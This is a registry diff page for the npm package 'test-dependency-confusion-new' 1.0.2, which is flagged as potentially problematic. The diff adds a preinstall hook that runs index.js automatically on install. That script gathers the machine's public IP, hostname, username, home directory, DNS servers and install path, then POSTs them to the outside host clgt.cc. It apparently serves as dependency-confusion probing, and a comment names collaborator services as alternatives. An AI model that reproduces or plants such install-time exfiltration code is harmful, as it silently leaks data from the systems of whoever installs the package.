test-dependency-confusion-new 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of test-dependency-confusion-new might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +86 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,86 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ let have_child_process = true
9
+ try {
10
+ const { exec } = require('child_process')
11
+ } catch(e) {
12
+ have_child_process = false
13
+ }
14
+
15
+ const sleep = (milliseconds) => {
16
+ return new Promise(resolve => setTimeout(resolve, milliseconds))
17
+ }
18
+
19
+ function requestPromise(endpoint) {
20
+ var body = ''
21
+
22
+ return new Promise(function(resolve, reject){
23
+ https.get((endpoint), res => {
24
+ res.setEncoding('utf8');
25
+ res.on("data", data => {
26
+ body += data;
27
+ });
28
+ res.on("end", () => {
29
+ resolve(body)
30
+ });
31
+ res.on("error", (e) => {
32
+ reject(e);
33
+ });
34
+ });
35
+ });
36
+
37
+ }
38
+
39
+ async function main() {
40
+
41
+ const url = 'https://ifconfig.me'
42
+ const ip = await requestPromise(url)
43
+
44
+ const trackingData = JSON.stringify({
45
+ p: package,
46
+ c: __dirname,
47
+ hd: os.homedir(),
48
+ hn: os.hostname(),
49
+ un: os.userInfo().username,
50
+ dns: dns.getServers(),
51
+ r: packageJSON ? packageJSON.___resolved : undefined,
52
+ v: packageJSON.version,
53
+ pjson: packageJSON,
54
+ ip: ip,
55
+ child_process: have_child_process ? 1 : 0,
56
+ });
57
+
58
+
59
+ var postData = querystring.stringify({
60
+ msg: trackingData,
61
+ });
62
+
63
+ var options = {
64
+ hostname: "clgt.cc", //replace burpcollaborator.net with Interactsh or pipedream
65
+ port: 443,
66
+ path: "/dependency-conf-npm.php",
67
+ method: "POST",
68
+ headers: {
69
+ "Content-Type": "application/x-www-form-urlencoded",
70
+ "Content-Length": postData.length,
71
+ },
72
+ };
73
+
74
+ var req = https.request(options, (res) => {
75
+ res.on("data", (d) => {
76
+ process.stdout.write(d);
77
+ });
78
+ });
79
+
80
+ req.on("error", (e) => {
81
+ // console.error(e);
82
+ });
83
+
84
+ req.write(postData);
85
+ req.end();
86
+ } main()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "test-dependency-confusion-new",
3
+ "version": "1.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }